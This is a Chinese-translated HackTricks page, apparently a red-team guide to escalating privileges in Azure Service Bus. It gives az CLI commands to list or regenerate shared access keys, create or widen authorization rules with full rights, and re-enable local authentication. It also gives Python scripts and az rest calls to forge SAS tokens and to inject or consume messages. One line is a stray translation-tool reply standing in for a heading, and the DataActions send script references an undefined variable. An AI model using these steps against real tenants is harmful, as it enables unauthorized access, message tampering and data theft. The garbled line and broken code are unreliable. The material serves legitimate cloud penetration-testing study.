Az - Service Bus Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Service Bus

有关更多信息,请查看:

Az - Service Bus

Microsoft.ServiceBus/namespaces/authorizationrules/listKeys/action 或 Microsoft.ServiceBus/namespaces/authorizationrules/regenerateKeys/action

这些权限允许您获取或重新生成 Service Bus 命名空间内本地授权规则的密钥。使用这些密钥可以作为 Service Bus 命名空间进行身份验证,使您能够向任何队列或主题发送消息,从任何队列或订阅接收消息,或可能以可能干扰操作、冒充有效用户或向消息工作流注入恶意数据的方式与系统进行交互。

请注意,默认情况下,RootManageSharedAccessKey 规则对 Service Bus 命名空间具有完全控制权,并且它被 az cli 使用,但可能存在其他具有其他密钥值的规则。

# List keys
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --authorization-rule-name RootManageSharedAccessKey [--authorization-rule-name RootManageSharedAccessKey]

# Regenerate keys
az servicebus namespace authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]

Microsoft.ServiceBus/namespaces/AuthorizationRules/write

拥有此权限,可以创建一个新的授权规则,并赋予所有权限及其自己的密钥:

az servicebus namespace authorization-rule create --authorization-rule-name "myRule" --namespace-name mynamespacespdemo --resource-group Resource_Group_1 --rights Manage Listen Send

Warning

此命令不会返回密钥,因此您需要通过之前的命令(和权限)获取它们,以便提升权限。

此外,通过该命令(和 Microsoft.ServiceBus/namespaces/authorizationRules/read),如果您通过 Azure CLI 执行此操作,可以使用以下命令更新现有的授权规则并赋予其更多权限(如果缺少某些权限):

az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
--namespace-name <MyNamespace> \
--name RootManageSharedAccessKey \
--rights Manage Listen Send

Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action 或 Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action

Service Bus 命名空间内的特定主题和队列可以拥有自己的授权规则,这些规则可用于控制对实体的访问。通过拥有这些权限,您可以 检索或重新生成这些本地授权规则的密钥,使您能够以实体的身份进行身份验证,并可能发送或接收消息、管理订阅或以可能干扰操作的方式与系统交互,冒充有效用户或向消息工作流中注入恶意数据。

# List keys (topics)
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>

# Regenerate keys (topics)
az servicebus topic authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>

# List keys (queues)
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>

# Regenerate keys (queues)
az servicebus queue authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>

Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/write

拥有此权限可以创建一个新的授权规则,并赋予所有权限及其自己的密钥:

# In a topic
az servicebus topic authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send

# In a queue
az servicebus queue authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send

Warning

此命令不会返回密钥,因此您需要通过之前的命令(和权限)获取它们,以便提升权限。

此外,通过该命令(和 Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read),如果您通过 Azure CLI 执行此操作,可以使用以下命令更新现有的授权规则并赋予其更多权限(如果缺少某些权限):

# In a topic
az servicebus topic authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send

# In a queue
az servicebus queue authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send

Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read if az cli is used)

拥有这些权限 攻击者可以通过以下命令重新启用“本地身份验证”,因此所有来自共享策略的密钥将有效。

az servicebus namespace update --disable-local-auth false -n <namespace-name> --resource-group <res-group>

发送带有密钥的消息 (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action 或 Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)

您可以检索 PrimaryConnectionString,它作为 Service Bus 命名空间的凭据。使用此连接字符串,您可以完全以 Service Bus 命名空间的身份进行身份验证,使您能够向任何队列或主题发送消息,并可能以可能干扰操作、冒充有效用户或向消息工作流注入恶意数据的方式与系统进行交互。此方法在 --disable-local-auth 设置为 false(即启用本地身份验证)时有效。

import asyncio
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus

NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
TOPIC_OR_QUEUE_NAME = "<TOPIC_OR_QUEUE_NAME>"

async def send_message():
async with ServiceBusClient.from_connection_string(NAMESPACE_CONNECTION_STR) as client:
async with client.get_topic_sender(topic_name=TOPIC_OR_QUEUE_NAME) as sender:
await sender.send_messages(ServiceBusMessage("Hacktricks-Training: Single Item"))
print("Sent message")

asyncio.run(send_message())

此外,您可以使用 az rest 发送消息,在这种情况下,您需要生成一个 sas 令牌来使用。

import time, urllib.parse, hmac, hashlib, base64

def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signed_hmac_sha256 = hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
signature = urllib.parse.quote_plus(base64.b64encode(signed_hmac_sha256))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token

# Replace these with your actual values
resource_uri = "https://<namespace>.servicebus.windows.net/<queue_or_topic>"
key_name = "<SharedKeyName>"
primary_key = "<PrimaryKey>"

sas_token = generate_sas_token(resource_uri, key_name, primary_key)
print(sas_token)
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<queue>/messages" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=https%3A%2F%2F<NAMESPACE>.servicebus.windows.net%2F<TOPIC_OR_QUEUE_NAME>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>" \
--body "<MESSAGE_BODY>"

Receive with keys (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)

您可以检索 PrimaryConnectionString,它作为 Service Bus 命名空间的凭据。使用此连接字符串,您可以从命名空间内的任何队列或订阅接收消息,从而访问潜在的敏感或关键数据,启用数据外泄,或干扰消息处理和应用程序工作流。如果将 --disable-local-auth 设置为 false,此方法有效。

import asyncio
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus

CONN_STR = "<PrimaryConnectionString>"
QUEUE = "<QUEUE_NAME>"

# For topics/subscriptions, you would use:
# TOPIC = "<TOPIC_NAME>"
# SUBSCRIPTION = "<TOPIC_SUBSCRIPTION_NAME>"

async def receive():
async with ServiceBusClient.from_connection_string(CONN_STR) as client:
# For a queue receiver:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
for msg in msgs:
print("Received:", msg)
await receiver.complete_message(msg)

# For a topic/subscription receiver (commented out):
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
#     msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
#     for msg in msgs:
#         print("Received:", msg)
#         await receiver.complete_message(msg)

asyncio.run(receive())
print("Done receiving messages")

此外,您可以使用 az rest 发送消息,在这种情况下,您需要生成一个 sas 令牌来使用。

import time, urllib.parse, hmac, hashlib, base64

def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
expiry = int(time.time() + expiry_in_seconds)
string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
signature = urllib.parse.quote_plus(base64.b64encode(
hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
))
token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
return token

# Example usage:
resource_uri = "https://<namespace>.servicebus.windows.net/queue"  # For queue
# resource_uri = "https://<namespace>.servicebus.windows.net/<topic>/subscriptions/<subscription>"  # For topic subscription
sas_token = generate_sas_token(resource_uri, "<KEYNAME>", "<PRIMARY_KEY>")
print(sas_token)

对于队列,您可以获取或查看消息(获取消息会将其移除,而查看则不会):

#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?peekonly=true&timeout=60" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<ENTITY>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

请提供您希望翻译的具体内容。

#Get a message
az rest --method post \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60" \
--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#Peek a message
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
--uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
--headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

发送消息。DataActions: Microsoft.ServiceBus/namespaces/messages/send/action

您可以使用此权限发送消息,即使 --disable-local-auth 设置为 true。

import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus

NS = "<namespace>.servicebus.windows.net"  # Your namespace
QUEUE_OR_TOPIC = "<QUEUE_OR_TOPIC>"        # Your queue name

async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
#async with client.get_topic_sender(topic_name=TOPIC) as sender: # Use this to send the message to a topic
async with client.get_queue_sender(queue_name=QUEUE) as sender:
await sender.send_messages(ServiceBusMessage("Single Message"))
print("Sent a single message")
await credential.close()

if __name__ == "__main__":
asyncio.run(run())

接收消息。DataActions: Microsoft.ServiceBus/namespaces/messages/receive/action

您可以使用此权限接收消息,即使 --disable-local-auth 设置为 true。

import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus

NS = "<namespace>.servicebus.windows.net"
QUEUE = "<QUEUE>"

# For a topic subscription, uncomment and set these values:
# TOPIC = "<TOPIC>"
# SUBSCRIPTION = "<SUBSCRIPTION>"

async def run():
credential = DefaultAzureCredential()
async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
# Receiving from a queue:
async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
async for msg in receiver:
print("Received from Queue:", msg)
await receiver.complete_message(msg)

# To receive from a topic subscription, uncomment the code below and comment out the queue receiver above:
# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
#     async for msg in receiver:
#         print("Received from Topic Subscription:", msg)
#         await receiver.complete_message(msg)

await credential.close()

asyncio.run(run())
print("Done receiving messages")

参考

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks